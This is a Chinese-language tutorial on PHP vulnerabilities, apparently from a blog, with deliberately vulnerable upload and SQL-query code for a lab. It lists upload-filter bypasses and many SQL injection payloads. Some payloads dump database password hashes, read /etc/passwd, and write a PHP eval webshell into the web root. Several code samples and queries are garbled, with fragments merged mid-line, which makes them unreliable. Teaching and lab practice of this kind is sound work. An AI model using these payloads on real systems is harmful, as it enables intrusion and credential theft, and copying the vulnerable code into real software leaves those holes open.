PHP 常见漏洞代码总结

漏洞总结

PHP 文件上传漏洞

只验证MIME类型: 代码中验证了上传的MIME类型,绕过方式使用Burp抓包,将上传的一句话小马*.php中的Content-Type:application/php,修改成Content-Type: image/png然后上传.

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH","./");

	if(isset($_POST['submit']))
	{
		if(file_exists(UPLOAD_PATH))
		{
			// 判断 content-type 的类型,如果是image/png则通过
			if($_FILES['upload_file']['type'] == 'image/png')
			{
				$temp_file = $_FILES['upload_file']['tmp_name'];
				$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
				if (move_uploaded_file($temp_file,$img_path))
					echo "上传完成.";
				else
					echo "上传出错.";
			}
		}
	}
?>

<body>
	<form enctype="multipart/form-data" method="post">
        <input class="input_file" type="file" name="upload_file">
        <input class="button" type="submit" name="submit" value="上传">
    </form>
</body>

白名单的绕过: 白名单就是允许上传某种类型的文件,该方式比较安全,抓包上传php后门,然后将文件名改为.jpg即可上传成功,但是有时候上传后的文件会失效无法拿到Shell.

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH","./");

	if(isset($_POST['submit']))
	{
		if(file_exists(UPLOAD_PATH))
		{
			$allow_ext = array(".jpg",".png",".jpeg");

			$file_name = trim($_FILES['upload_file']['name']); // 取出文件名
			$file_ext = strrchr($file_name,'.');
			$file_ext = str_ireplace('::$DATA','',$file_ext); //去除字符串::$DATA
			$file_ext = strtolower($file_ext);                  // 转换为小写
			$file_ext = trim($file_ext);                        // 首尾去空

			if(in_array($file_ext,$allow_ext))
			{
				$temp_file = $_FILES['upload_file']['tmp_name'];
				$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
				 if (move_uploaded_file($temp_file,$img_path))
				 	echo "上传完成: {$img_path} <br>";
				 else
				 	echo "上传失败 <br>";
			}
		}
	}
?>

<body>
	<form enctype="multipart/form-data" method="post">
        <input class="input_file" type="file" name="upload_file">
        <input class="button" type="submit" name="submit" value="上传">
    </form>
</body>

白名单验证文件头: 本关主要是允许jpg/png/gif这三种文件的传输,且代码中检测了文件头的2字节内容,我们只需要将文件的头两个字节修改为图片的格式就可以绕过.

通常JPEG/JPG: FF D8 | PNG:89 50 | GIF:47 49 以JPEG为例,我们在一句话木马的开头添加两个11也就是二进制的3131,然后将.php修改为.jpg,使用Brup抓包发送到Repeater模块,将HEX编码3131改为FFD8点Send后成功上传JPG.

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH","./");

	function getReailFileType($filename)
	{
	    $file = fopen($filename,"rb");
	    $bin = fread($file,2);
	    fclose($file);
	    $strInfo = @unpack("C2chars",$bin);    
	    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
	    $fileType = '';    
	    switch($typeCode)
	    {      
	        case 255216: $fileType = 'jpg'; break;
	        case 13780:  $fileType = 'png'; break;        
	        case 7173:   $fileType = 'gif'; break;
	        default:     $fileType = 'unknown';
	        }    
	        return $fileType;
	}

	if(isset($_POST['submit']))
	{
		if(file_exists(UPLOAD_PATH))
		{
			$temp_file = $_FILES['upload_file']['tmp_name'];
    		$file_type = getReailFileType($temp_file);
    		 if($file_type == 'unknown')
    		 {
		        echo "上传失败 <br>";
		    }else
		    {
		        $img_path = UPLOAD_PATH."/".rand(10,99).date("YmdHis").".".$file_type;
		        if(move_uploaded_file($temp_file,$img_path))
		        	echo "上传完成 <br>";
		    }
		}
	}
?>

<body>
	<form enctype="multipart/form-data" method="post">
        <input class="input_file" type="file" name="upload_file">
        <input class="button" type="submit" name="submit" value="上传">
    </form>
</body>

绕过检测文件头: 这种方式是通过文件头部起始位置进行匹配的从而判断是否上传,我们可以通过在上传文件前面追加合法的文件头进行绕过,例如在文件开头部位加上GIF89a<?php phpinfo();?>即可完成绕过,或者如果是\xffxd8\xff我们需要在文件开头先写上%ff%d8%ff<?php phpinfo(); ?>然后,选择特殊字符,右击CONVERT->URL->URL-Decode编码后释放.

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH","./");

	function getReailFileType($filename)
	{
	    $fh = fopen($filename,"rb");
	    if($fh)
	    {
	    	$bytes = fread($fh,6);
	    	fclose($fh);
	    	if(substr($bytes,3) == "\xff\xd8\xff" or substr($bytes,3)=="\x3f\x3f\x3f"){
	    		return "image/jpeg";
	    	}
	    	if($bytes == "\x89PNG\x0d\x0a"){
	    		return "image/png";
	    	}
	    	if($bytes == "GIF87a" or $bytes == "GIF89a"){
	    		return "image/gif";
	    	}
	    }
	    return 'unknown';
	}

	if(isset($_POST['submit']))
	{
		if(file_exists(UPLOAD_PATH))
		{
			$temp_file = $_FILES['upload_file']['tmp_name'];
    		$file_type = getReailFileType($temp_file);
    		echo "状态: {$file_type} ";
    		 if($file_type == 'unknown')
    		 {
		        echo "上传失败 <br>";
		    }else
		    {
		    	$file_name = $_FILES['upload_file']['name'];
	    		$img_path = UPLOAD_PATH . "/" . $file_name;
		        if(move_uploaded_file($temp_file,$img_path))
		        	echo "上传 {$img_path} 完成 <br>";
		    }
		}
	}
?>

<body>
	<form enctype="multipart/form-data" method="post">
        <input class="input_file" type="file" name="upload_file">
        <input class="button" type="submit" name="submit" value="上传">
    </form>
</body>

图像检测绕过: 通过使用图像函数,检测文件是否为图像,如需上传则需要保持图像的完整性,所以无法通过追加文件头的方式绕过,需要制作图片木马上传.

针对这种上传方式的绕过我们可以将图片与FIG文件合并在一起copy /b pic.gif+shell.php 1.php上传即可绕过.

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH","./");

	function getReailFileType($filename)
	{
		// 检查是否为图像
		if(@getimagesize($filename))
		{
			if(@imagecreatefromgif($filename)){
				return "image/gif";
			}
			if(@imagecreatefrompng($filename)){
				return "image/png";
			}
			if(@imagecreatefromjpeg($filename)){
				return "image/jpeg";
			}
		}
	    return 'unknown';
	}

	if(isset($_POST['submit']))
	{
		if(file_exists(UPLOAD_PATH))
		{
			$temp_file = $_FILES['upload_file']['tmp_name'];
    		$file_type = getReailFileType($temp_file);
    		echo "状态: {$file_type} ";
    		 if($file_type == 'unknown')
    		 {
		        echo "上传失败 <br>";
		    }else
		    {
		    	$file_name = $_FILES['upload_file']['name'];
	    		$img_path = UPLOAD_PATH . "/" . $file_name;
		        if(move_uploaded_file($temp_file,$img_path))
		        	echo "上传 {$img_path} 完成 <br>";
		    }
		}
	}
?>

<body>
	<form enctype="multipart/form-data" method="post">
        <input class="input_file" type="file" name="upload_file">
        <input class="button" type="submit" name="submit" value="上传">
    </form>
</body>

上传条件竞争: 这里是条件竞争,先将文件上传到服务器,然后判断文件后缀是否在白名单里,如果在则重命名,否则删除,因此我们可以上传1.php只需要在它删除之前访问即可,可以利用burp的intruder模块不断上传,然后我们不断的访问刷新该地址即可

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH","./");

	if(isset($_POST['submit']))
	{
		$ext_arr = array('jpg','png','gif');
	    $file_name = $_FILES['upload_file']['name'];
	    $temp_file = $_FILES['upload_file']['tmp_name'];
	    $file_ext = substr($file_name,strrpos($file_name,".")+1);
	    $upload_file = UPLOAD_PATH . '/' . $file_name;

	    if(move_uploaded_file($temp_file,$upload_file))
	    {
	    	if(in_array($file_ext,$ext_arr))
	    	{
		    	$img_path = UPLOAD_PATH . '/'. rand(10,99).date("YmdHis").".".$file_ext;
	             rename($upload_file,$img_path);
	             echo "上传完成. <br>";
	    	}else
	    	{
	    		unlink($upload_file);
	    		echo "上传失败. <br>";
	    	}
	    }
	}
?>

<body>
	<form enctype="multipart/form-data" method="post">
        <input class="input_file" type="file" name="upload_file">
        <input class="button" type="submit" name="submit" value="上传">
    </form>
</body>

PHP 注入漏洞

基本查询语句

搭建SQL注入演练环境,首先确保MySQL版本为MySQL 5.7以上,并导入下方的数据库脚本自动创建相应的数据库文件.

drop database if exists lyshark;
create database lyshark;
use lyshark;
drop table if exists local_user;
create table local_user(
	id int(10) primary key not null,username varchar(100) not null,password varchar(100) not null,usremail varchar(100) not null,usertype int(1) default 0
);
alert table local_user character set utf8;
insert into lyshark.local_user(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@163.com"),(2,"lyshark",md5("adsdfw2345"),"lyshark@163.com"),(3,"guest",md5("12345678"),"guest@126.com"),(4,"Dumb",md5("458322456"),"Dumb@blib.com"),(5,"Angelina",md5("GIs92834"),"angelina@mkic.com"),(6,"Dummy",md5("HIQWu28934"),"dummy@cboos.com"),(7,"batman",md5("suw&*("),"batmain@gmail.com"),(8,"dhakkan",md5("swui16834"),"dhakakan@umail.com"),(9,"nacki",md5("fsie92*("),"cbooks@emial.com"),(10,"wuhaxp",md5("sadwq"),"cookiec@345.com"),(11,"cpiwu","myaccce@345.com");

接着安装好PHP7.0或以上版本的环境,并创建index.php文件,写入以下测试代码,数据库密码请自行修改.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
	<?php
		header("Content-type: text/html;charset=utf8");
		$connect = mysqli_connect("localhost","root","12345678","lyshark");
		if($connect)
		{
		    $id = $_GET['id'];
		    if(isset($id))
		    {
	            $sql = "select * from local_user where id='$id' limit 0,1";
	            $query = mysqli_query($connect,$sql);
	            if($query)
	            	$row = mysqli_fetch_array($query);
		    }
		}
	?>
<body>
	<table border="1">
	   <tr>
	   		<th>序号</th><th>用户账号</th><th>用户密码</th><th>用户邮箱</th><th>权限</th>
	   </tr>
	   <tr>
          <td><?php echo $row['id']; ?></td>
          <td><?php echo $row['username']; ?></td>
          <td><?php echo $row['password']; ?></td>
          <td><?php echo $row['usremail']; ?></td>
          <td><?php echo $row['usertype']; ?></td>
	   </tr>
	</table><br>
	<?php echo '<hr><b> 后端执行SQL语句:  </b>' . $sql;  ?>
</body>
</html>

Union 查询字段个数: Union可以用于一个或多个SELECT的结果集,但是他有一个条件,就是两个select查询语句的查询必须要有相同的列才可以执行,利用这个特性我们可以进行对比查询,也就是说当我们union select的列与它查询的列相同时,页面返回正常.

首先我们猜测,当前字段数为4的时候页面无返回,也就说明表字段数必然是大于4的,接着增加一个字段,查询1,2,3,4,5时页面显示正常,说明表结构是5个字段的.

index.php?id=1' and 1=0 union select 1,4 --+

index.php?id=1' and 1=0 union select 1,5 --+
index.php?id=1' and 1=0 union select null,null,null --+

Order By查询字段个数: 在SQL语句中是对结果集的指定列进行排序,比如我们想让结果集按照第一列排序就是order by 1按照第二列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进行排序数据库会返回正常,但是当我们按照第100列排序,因为数据库中并不存在第100列,从而报错或无法正常显示.

首先我们猜测数据库有6个字段,尝试根据第6行进行排序发现数据无法显示,说明是小于6的,我们继续使用5测试,此时返回了结果.

index.php?id=1' and 1 order by 6 --+
index.php?id=1' and 1 order by 5 --+

大部分程序只会调用数据库查询的第一条语句进行查询然后返回,如果想看到的数据是在第二条语句中,如果我们想看到我们想要的数据有两种方法,第一种是让第一条数据返回假,第二种是通过sql语句直接返回我们想要的数据.

第一种我们让第一个查询的结果始终为假,通过使用and 0来实现,或者通过limit语句,limit在mysql中是用来分页的,通过他可以从查询出来的数据中获取我们想要的数据.

index.php?id=1' and 0 union select null,null --+
index.php?id=1' and 0 union select null,version(),null --+

index.php?id=1' union select null,null limit 1,1 --+
index.php?id=1' union select null,1 --+

查全部数据库名称: MySQL默认将所有表数据放入information_schema.schemata这个表中进行存储,我们可以查询这个表中的数据从而找出当前系统中所有的数据库名称,通过控制limit中的参数即可爆出所有数据库.

index.php?id=1' and 0 union select 1,1,database(),1 --+

index.php?id=1' and 0 union select 1,schema_name from information_schema.schemata limit 0,1 --+
index.php?id=1' and 0 union select 1,schema_name from information_schema.schemata limit 1,schema_name from information_schema.schemata limit 2,1 --+

查询表中名称: 通过使用group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.

# 通过 limit 限定条件每次只输出一个表名称

index.php?id=1' and 0 union select 1,table_name
from information_schema.tables where table_schema='lyshark' limit 0,table_name
from information_schema.tables where table_schema='lyshark' limit 1,1 --+

# 通过 concat 函数一次性输出所有表
index.php?id=1' and 0 union select 1,group_concat(table_name)
from information_schema.tables where table_schema='lyshark' --+

查询表中字段: 通过使用table_schematable_name指定查询条件,即可查询到表中字段与数据.

# 查询出lyshark数据库local_user表中的,所有字段
index.php?id=1' and 0 union select 1,group_concat(column_name) from information_schema.columns
>              where table_schema='lyshark' and table_name='local_user' --+

# 每次读取出一个表中字段,使用limit进行遍历
index.php?id=1' and 0 union select 1,column_name from information_schema.columns
>              where table_schema='lyshark' and table_name='local_user' limit 0,column_name from information_schema.columns
>              where table_schema='lyshark' and table_name='local_user' limit 1,1 --+

查询表中数据: 通过上面的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进行读取表中数据.

index.php?id=1' and 0 union select 1,Host,Password,5 from mysql.user limit 0,1--+
index.php?id=1' and 0 union select 1,5 from mysql.user limit 1,group_concat(id,username),5 from lyshark.users --+

常用的查询语句: 除此以外,我们还可以使用以下常用判断条件的配合实现对数据库其他权限的进一步注入.

# -----------------------------------------------------------------------------------
# 判断注入点: 注入点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.

index.php?id=1' and 1=1 --+    # 提交and判断注入
index.php?id=1' and 1=0 --+
index.php?id=1%2b1             # 提交加号判断注入
index.php?id=2-1               # 提交减号判断注入
index.php?id=1 and sleep(5)    # 延时判断诸如点

# -----------------------------------------------------------------------------------
# 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.
index.php?id=1' and ord(mid(user(),1)) = 114 --+

# -----------------------------------------------------------------------------------
# 判断权限大小: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.
index.php?id=1' and(select count(*) from mysql.user) > 0

# -----------------------------------------------------------------------------------
# 查询管理密码: 查询MySQL的管理密码,这里的#末尾警号,是注释符的意思,说明后面的都是注释.
index.php?id=1' and 0 union select 1,host,user,5 from mysql.user --+                // 5.6以前版本
index.php?id=1' and 0 union select 1,authentication_string,5 from mysql.user --+   // 5.7以后版本

# -----------------------------------------------------------------------------------
# 向主站写入一句话: 可以写入一句话后门,但在linux系统上目录必须具有读写和执行权限.
index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),5 --+
index.php?id=1' union select 1,5 into outfile '/var/www/html/a.txt'--+
index.php?id=1' union select 1,"<?php phpinfo();?>",5 into outfile '/var/www/html/shell.php' --+
index.php?id=1' union select 1,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+

# -----------------------------------------------------------------------------------
# 利用MySQL引擎写一句话: 通过使用MySQL的存储引擎,以MySQL身份写入一句话
create table shell(cmd text);
insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>');
select cmd from shell into outfile('/var/www/html/eval.php');

# -----------------------------------------------------------------------------------
# 常用判断语句: 下面是一些常用的注入查询语句,包括查询主机名等敏感操作.
index.php?id=1' union select 1,load_file("/etc/passwd")       // 加载指定文件
index.php?id=1' union select 1,@@datadir                      // 判断数据库目录
index.php?id=1' union select 1,@@basedir                      // 判断安装根路径
index.php?id=1' union select 1,@@hostname                     // 判断主机名
index.php?id=1' union select 1,@@version                      // 判断数据库版本
index.php?id=1' union select 1,@@version_compile_os           // 判断系统类型(Linux)
index.php?id=1' union select 1,@@version_compile_machine      // 判断系统体系(x86)
index.php?id=1' union select 1,user()                         // 曝出系统用户
index.php?id=1' union select 1,database()                     // 曝出当前数据库

GET 注入

简单的注入测试: 本关中没有对代码进行任何的过滤.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
	<?php
		function getCurrentUrl()
		{
		    $scheme = $_SERVER['REQUEST_SCHEME'];   // 协议
		    $domain = $_SERVER['HTTP_HOST'];        // 域名
		    $requestUri = $_SERVER['REQUEST_URI'];  // 请求参数
		    $currentUrl = $scheme . "://" . $domain . $requestUri;
		    return urldecode($currentUrl);
		}
	?>
	<?php
		header("Content-type: text/html;charset=utf8");
		$connect = mysqli_connect("localhost","lyshark");
		if($connect)
		{
		    $id = $_GET['id'];
		    if(isset($id))
		    {
		        $sql = "select username,password from local_user where id='$id' limit 0,1";
		        $query = mysqli_query($connect,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
	        		if($row)
					{
					  	echo "<font size='5'>";
					  	echo "账号: {$row['username']} <br>";
					  	echo "密码: {$row['password']} <br>";
					  	echo "</font>";
					  	echo "后端执行语句: {$sql} <br>";
					  	$URL = getCurrentUrl();
					  	echo "后端URL参数: {$URL} <br>";
				  	}
					else 
					{
						echo "后端执行语句: {$sql} <br>";
						print_r(mysql_error());
					}
		        }
		    }
		}
	?>
</body>
</html>

SQL语句没有经过任何过滤,或者是过滤不严格,会导致注入的发生.

---------------------------------------------------------------------------------
$sql = "select username,password from local_user where id=$id limit 0,1";
http://127.0.0.1/index.php?id=-1 union select 1,version() --+

$sql = "select username,password from local_user where id=($id) limit 0,1";
http://127.0.0.1/index.php?id=-1) union select 1,version() --+
http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+

---------------------------------------------------------------------------------
$sql = "select username,password from local_user where id=('$id') limit 0,1";
http://127.0.0.1/index.php?id=-1') union select 1,version() --+
http://127.0.0.1/index.php?id=1') and '1'=('0') union select 1,password from local_user where id=(('$id')) limit 0,1";
http://127.0.0.1/index.php?id=-1')) union select 1,version() --+

---------------------------------------------------------------------------------
$id = '"' . $id . "'";
$sql = "select username,1";

http://127.0.0.1/index.php?id=-1") union select 1,version() --+
http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+

POST 输入框注入:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
</head>
<body>
<form action="" method="post">
	账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
	密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
	<input type="submit" name="submit" value="提交表单" />
</form>
	<?php
		header("Content-type: text/html;charset=utf8");
		$connect = mysqli_connect("localhost","lyshark");
		if($connect)
		{
			$uname=$_POST['uname'];
			$passwd=$_POST['passwd'];
			$passwd = md5($passwd);

		    if(isset($_POST['uname']) && isset($_POST['passwd']))
		    {
		        $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
		        	if($row)
		        	{
		        		echo "<br>欢迎用户: {$row['username']} 密码: {$row['password']} <br><br>";
		        		echo "后端执行语句: {$sql} <br>";
		        	}
		        	else
		        	{
		        		echo "<br>后端执行语句: {$sql} <br>";
		        	}
		        }
		    }
		}
	?>
</body>
</html>

简单的进行查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤子了.

# ---------------------------------------------------------------------------------------------------------
# SQL语句
$sql="select username,1";
# ---------------------------------------------------------------------------------------------------------

# 爆出字段数
admin' order by 1 #
admin' order by 2 -- 
admin' and 1 union select 1,3 #
admin' and 1 union select 1,2 #

# 爆出数据库
admin ' and 0 union select null,database() #
admin' and 0 union select 1,version() #

# 爆出所有表名称(需要注意数据库编码格式)
set character_set_database=utf8;
set collation_database= utf8_general_ci
alter table local_user convert to character set utf8;

' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 #
' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 #

# 爆出表中字段
' union select null,column_name from information_schema.columns where table_name='local_user' limit 0,column_name from information_schema.columns where table_name='local_user' limit 1,1 #

# 继续爆出所有的用户名密码
' union select null,group_concat(username,0x3a,password) from local_user #

# ---------------------------------------------------------------------------------------------------------
# 双注入-字符型
# 此类注入很简单,只需要闭合前面的")而后面则使用#注释掉即可
$uname = '"' .  $uname . '"';
$passwd = '"' . $passwd . '"';
$sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1";

#payload
admin") order by 2 #
admin") and 0 union select 1,version() #
admin") and 0 union select 1,database() #

# ---------------------------------------------------------------------------------------------------------
# POST型的-双注入
# 
$uname = '"' .  $uname . '"';
$passwd = '"' . $passwd . '"';
$sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1";

admin" and 0 union select 1,version() #

Usage-Agent 注入: Usagen-Agent是客户请求时携带的请求头,该头部是客户端可控,如果有带入数据库的相关操作,则可能会产生SQL注入问题.

建库> create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256));

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<form action="" method="post">
	账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
	密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
	<input type="submit" name="submit" value="Submit" />
</form>
	<?php
		header("Content-type: text/html;charset=utf8");
		error_reporting(0);
		$connect = mysqli_connect("localhost","lyshark");
		if($connect)
		{
		    if(isset($_POST['uname']) && isset($_POST['passwd']))
		    {
				$uname=$_POST['uname'];
				$passwd=$_POST['passwd'];
				$passwd = md5($passwd);

		        $sql="select username,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
		        	if($row)
		        	{
		        		// 获取到用户的Agent客户请求体
		        		$Uagent = $_SERVER['HTTP_USER_AGENT'];
						// REMOTE_ADDR 是调用的底层的会话ip地址,理论上是不可以伪造的
						$IP = $_SERVER['REMOTE_ADDR'];

						echo "<br>欢迎用户: {$row['username']} 密码: {$row['password']} <br><br>";
						echo "您的IP地址是: {$IP} <br>";

						$insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values('$uname','$IP','$Uagent')";
						mysqli_query($connect,$insert_sql);
						echo "User_Agent请求头: {$Uagent} <br>";
		        	}
		        }
		    }
		}
	?>
</body>
</html>

首先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带入数据库查询.

POST /post.php HTTP/1.1
Host: 192.168.1.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

uname=admin&passwd=123123&submit=Submit

修改agent验证,可被绕过,此处的语句带入数据库变为了insert into User_Agent values('1)','u_addr','u_agent')有时,不存在回显的地方即使存在注入也无法得到结果,但却是一个安全隐患,需要引起重视.

User-Agent: 1',1)#
uname=admin&passwd=123123&submit=Submit

User-Agent: 1',updatexml(1,concat(0x3a,0x3a),1)a)#)#
uname=admin&passwd=123123&submit=Submit

Cookie 注入: 该注入的产生原因是因为程序员没有将COOKIE进行合法化检测,并将其代入到了数据库中查询了且查询变量是可控的,当用户登录成功后会产生COOKIE,每次页面刷新后端都会拿着这个COOKIE带入数据库查找,这是非常危险的.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
</head>
<body>
<form action="" method="post">
	账号: <input type="text"  name="uname" value=""/><br>
	密码: <input type="password" name="passwd" value=""/>
	<input type="submit" name="submit" value="Submit" />
</form>
	<?php
		header("Content-type: text/html;charset=utf8");
		error_reporting(0);
		$connect = mysqli_connect("localhost","lyshark");
		if($connect)
		{
			$cookee = $_COOKIE['uname'];
			if($cookee)
			{
				$sql="SELECT username,password FROM local_user WHERE username='$cookee' LIMIT 0,1";
				$query = mysqli_query($connect,$sql);
				echo "执行SQL: " . $sql . "<br>";
				if($query)
				{
					$row = mysqli_fetch_array($query);
					if($row)
					{
						echo "<br> COOKIE 已登录 <br>";
						echo "您的账号: " . $row['username'] . "<br>";
						echo "您的密码: " . $row['password'] . "<br>";
					}
				}
			}

		    if(isset($_POST['uname']) && isset($_POST['passwd']))
		    {
			$uname=$_POST['uname'];
			$passwd=$_POST['passwd'];
			$passwd = md5($passwd);
			$sql="select username,1";
			$query = mysqli_query($connect,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
		        	$cookee = $row['username'];
		        	if($row)
		        	{
		        		setcookie('uname',$cookee,time() + 3600);
		        		$format = 'D d M Y - H:i:s';
		        		$timestamp = time() + 3600;
		        		echo "COOKIE已设置: " . date($format,$timestamp);
		        	}
		        }
		    }
		}
	?>
</body>
</html>

以下是注入Payload语句,当登陆成功后,抓包然后刷新页面,然后构造恶意的登录COOKIE,即可实现利用.

Cookie: uname=admin' and 0 union select database(),2--+
Cookie: uname=admin' and 0 union select version(),2--+

update-xml注入:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<form action="" method="post">
	账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
	密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
	<input type="submit" name="submit" value="提交表单" />
</form>
	<?php
		error_reporting(0);
		header("Content-type: text/html;charset=utf8");

		function Check($value)
		{
			if(!empty($value))
			{ // 如果结果不为空,则取出其前十五个字符 18
				$value = substr($value,15);
			}
			// 当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
			// 当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
			if(get_magic_quotes_gpc())
			{
				// 删除由 addslashes() 函数添加的反斜杠
				$value = stripslashes($value);
			}
			if(!ctype_digit($value))
			{
				// ctype_digit()判断是不是数字,是数字就返回true,否则返回false
				// mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
				$value = "'" . mysql_real_escape_string($value) . ".";
			}
			else
				$value = intval($value);
			return $value;
		}


		$connect = mysqli_connect("localhost","lyshark");
		if($connect)
		{
		    if(isset($_POST['uname']) && isset($_POST['passwd']))
		    {
		    	$uname=Check($_POST['uname']);
				$passwd=$_POST['passwd'];
				$passwd = md5($passwd);

		        $sql="select username,password FROM local_user WHERE username=$uname LIMIT 0,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
		        	if($row)
		        	{
		        		$rows = $row['username'];
		        		$udate = "UPDATE local_user SET password = '$passwd' WHERE username='$rows'";
		        		mysql_query($update);
		        		if(mysql_error())
		        		{
		        			print_r(mysql_error());
		        		}
		        		echo "后端执行语句: {$sql} <br>";
		        	}
		        	else
		        	{
		        		echo "<br>后端执行语句: {$sql} <br>";
		        	}
		        }
		    }
		}
	?>
</body>
</html>

原文地址:https://www.cnblogs.com/LyShark

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


文章浏览阅读8.4k次,点赞8次,收藏7次。SourceCodester Online Tours & Travels Management System pay.php sql injectionLine 16 of pay.php invokes a SQL query built using unvalidated input. This call could allow an attacker to modify the statement’s meaning or to execute arbitrary SQL commands.SQL
文章浏览阅读3.4k次,点赞46次,收藏51次。本文为大家介绍在windwos系统搭建typecho博客+cpolar内网穿透工具将博客发布到公共网络环境,实现远程也可以访问和操作。_windows搭建typecho
文章浏览阅读1.1k次。- php是最优秀, 最原生的模板语言, 替代语法,让php更加的优雅的与html生活在一起 -->请放心, 最终生成的,或者说用户最终看到的,仍然是一个html文档, php代码中的内容不会被泄漏的。-- 将php与html代码混编的时候,大括号很容易造成配对错误,最好杜绝它 -->php标签内部代码由php.exe解释, php标签之外的代码原样输出,仍由web服务器解析。-- 所以php的流程控制语句, 都提供了替代语法,用冒号代替大括号 -->php echo '百变鹏仔'?_利用php将静态页面修改为动态页面
文章浏览阅读1.1k次,点赞18次,收藏15次。整理K8s网络相关笔记博文内容涉及 Linux network namespace 认知以及彼此通信Demo,实际中的应用理解不足小伙伴帮忙指正不必太纠结于当下,也不必太忧虑未来,当你经历过一些事情的时候,眼前的风景已经和从前不一样了。——村上春树。_linux network namespace 多端通信 模式认知
文章浏览阅读1.2k次,点赞22次,收藏19次。此网络模型提供了一个逻辑二层(L2)网络,该网络封装在跨 Kubernetes 集群节点的现有三层(L3)网络拓扑上。使用此模型,可以为容器提供一个隔离的 L2 网络,而无需分发路由。封装网络带来了少量的处理开销以及由于覆盖封装生成 IP header 造成的 IP 包大小增加。封装信息由 Kubernetes worker 之间的 UDP 端口分发,交换如何访问 MAC 地址的网络控制平面信息。此类网络模型中常用的封装是 VXLAN、Internet 协议安全性 (IPSec) 和 IP-in-IP。_k8s网络组件对比
文章浏览阅读1.1k次,点赞14次,收藏19次。当我们谈论网络安全时,我们正在讨论的是保护我们的在线空间,这是我们所有人的共享责任。网络安全涉及保护我们的信息,防止被未经授权的人访问、披露、破坏或修改。
文章浏览阅读1.3w次,点赞3次,收藏7次。尽管您可以通过 ping 命令解析出网站的 IP 地址,但是可能在浏览器中访问时仍然遇到问题,这可能是因为浏览器使用的 DNS 解析结果不同于 ping 命令使用的解析结果。可能是因为您的网络或设备上设置了防火墙,阻止了对特定网站的访问。有些国家或组织可能会对特定的域名进行屏蔽,从而阻止访问相关网站。如果您的网络使用代理服务器进行访问控制,可能会由于代理服务器的配置问题导致无法访问某些网站。即使您的网络和设备一切正常,目标网站本身可能也存在问题,例如服务器故障、维护或过载,导致无法访问。_能ping通打不开网页
文章浏览阅读839次,点赞22次,收藏19次。本系统带文档lw万字以上文末可领取本课题的JAVA源码参考。
